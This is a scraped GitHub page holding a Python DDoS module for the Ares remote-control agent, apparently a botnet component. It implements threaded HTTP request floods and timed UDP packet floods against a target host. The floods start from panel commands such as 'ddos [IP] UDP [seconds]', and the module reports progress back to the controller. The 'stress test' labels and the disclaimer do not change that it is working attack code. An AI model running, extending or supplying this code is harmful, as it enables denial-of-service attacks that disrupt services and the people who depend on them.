forked from sweetsoftware/Ares
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathddos
289 lines (186 loc) · 6.53 KB
/
ddos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
# Ares DDoS Module (LOIC Clone) + Layer 4 Socket based Attacks (UDP)
# Pythogen
# Build 1.3
# Not intended for illegal uses.
# 12/27/2015 - 4:34 PM - Bug fix: DDoS completion notice now correctly synchronized.
# 12/27/2015 - 4:42 PM - Update: Functional stop feature now included.
# 12/29/2015 - 1:01 PM - Update: Functionality refinement. Clean up syntax.
# 12/29/2015 - 2:58 PM - Update: Informs when every thousand requests have been sent until completion. (Panel Feedback)
# 1/10/2016 - 1:46 AM - Update: Refining Commands and including UDP Stress test option.
# 1/10/2016 - 11:58 AM - Update: Included 'packets sent' feedback for UDP flood.
# Panel Command Format:
# ddos http://[host]/ [Attack Type] [requests] - [!] Important to include 'http://' in HTTP type attack
# ddos [URL] HTTP [requests]
# ddos [IP] UDP [seconds]
# Examples:
# HTTP Stress Test:
# ddos http://something.com/ HTTP 10000
# UDP Stress Test
# ddos 11.22.33.44 UDP 120
# Deactive All Tests
# ddos stop ALL 0
# Make sure to include 'ddos' in MODULES array in agent.py
# - Import Modules -
import requests
import time
import threading
import pythoncom
import pyHook
import utils
import random
import socket
import sys
import os
import string
from threading import Thread
from urllib import urlopen
from atexit import register
from os import _exit
from sys import stdout, argv
# - Global Pre-declared Variables for UDP Test -
# Create UDP(SOCK_DGRAM) type socket
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Bytes associated with UDP flood (1024 represent one byte)
bytes = random._urandom(1024)
# - Stress Functions -
def complete():
# Announce completion
utils.send_output("DDoS Complete.")
# Note: 10 Threads
def auto_send_request(server, number_of_requests=10):
# Globalize increment variable
global inc
global isDos
# Value for completion notification condition
requestsCheck = (requests - 1)
for z in range(number_of_requests):
try:
# Is it active?
if isDos == True:
# HTTP Connection >>
urlopen(server)
# Successful connection [!]
stdout.write(".") # indicated by period in console (for debugging)
# Increment ++
inc = inc + 1 # Count total requests sent
# Live display every thousand requests.
if inc % 1000 == 0:
utils.send_output("Requests: %s." % (inc))
# if not active then break ..
elif isDos == False:
break
except IOError:
# Failed connection [!]
stdout.write("E") # indicated by E in console (for debugging)
# Request count checking
if inc >= requestsCheck:
# Finished DDoS Session! Call next function
complete()
# Flood routine [HTTP Stress Testing]
def flood(url, number_of_requests = 1000, number_of_threads = 50):
number_of_requests_per_thread = int(number_of_requests/number_of_threads)
try:
for x in range(number_of_threads):
Thread(target=auto_send_request, args=(url, number_of_requests_per_thread)).start()
except:
stdout.write("\n[E]\n")
print("\nDone %i requests on %s" % (number_of_requests, url))
# Flood routine [UDP Stress Testing]
def floodUDP(server, secnds):
# Globalize variables
global secUDP
# Target Port
vport = 80
# Attack Duration (Seconds)
duration = secnds
# Comparison Value for Completion
timeout = time.time() + duration
# Send count defaulted at 0
sent = 0
# Start attack loop
while 1:
# Is it active?
if isDos == True:
# Break out when duration is up
if time.time() > timeout:
# Announce completion
complete()
# Exit Loop
break
# Otherwise, proceed with test
else:
pass
# Connection >
client.sendto(bytes, (server, vport))
# Increment send count
sent = sent + 1
# Live display every ten thousand packets.
if sent % 10000 == 0:
# Panel feedback related to UDP packet delivery
utils.send_output("%s packets sent." % (sent))
# Display info
print "Attacking %s sent packages %s at the port %s " % (sent, server, vport)
# if not active then break ..
elif isDos == False:
# Exit Loop
break
# - Command Control -
def run(action, dtype, num_req):
# Globalize variables
global requests
global inc
global isDos
global server
global secUDP
# inc initially set to 0
inc = 0
# isDos boolean
isDos = False
# If command passed is not 'stop' then it's a host
# Start [HTTP Stress Test]
if action != "stop" and dtype == "HTTP":
utils.send_output("HTTP-DDoS Started.")
# Boolean value that determines if stresser is active
isDos = True
# Argument passed from Ares panel
server = action # Host put in server
# Number of requests
requests = int(num_req) # Specified number of requests
# Call function to begin HTTP attack
flood(server, requests)
# Start [UDP Stress Test]
elif action != "stop" and dtype == "UDP":
utils.send_output("UDP-DDoS Started.")
utils.send_output("Attacking %s for %s seconds." % (action, str(num_req)))
# Boolean value that determines if stresser is active
isDos = True
# Argument passed from Ares panel
server = action # Host put in server
secUDP = int(num_req) # Specified number of seconds
# Call function to begin UDP Attack
floodUDP(server, secUDP)
# Halt Active Sessions
elif action == "stop" and dtype =="ALL":
# Turn it off
isDos = False
utils.send_output('All DDoS Sessions Deactivated.')
else:
# Display current commands
utils.send_output("Usage: ddos [host] [Attack Type] [requests] | stop ALL 0")
def help():
# Help command details
help_text = """
Usage:
HTTP Stress Test:
Format [HTTP]:
ddos http://[host]/ [Attack Type] [requests]
Format [UDP]:
ddos [IP] [Attack Type] [seconds]
HTTP Stress Start:
ddos http://something.com/ HTTP 10000
UDP Stress Start:
ddos 11.22.33.44 UDP 120
Stop:
ddos stop ALL 0
"""
return help_text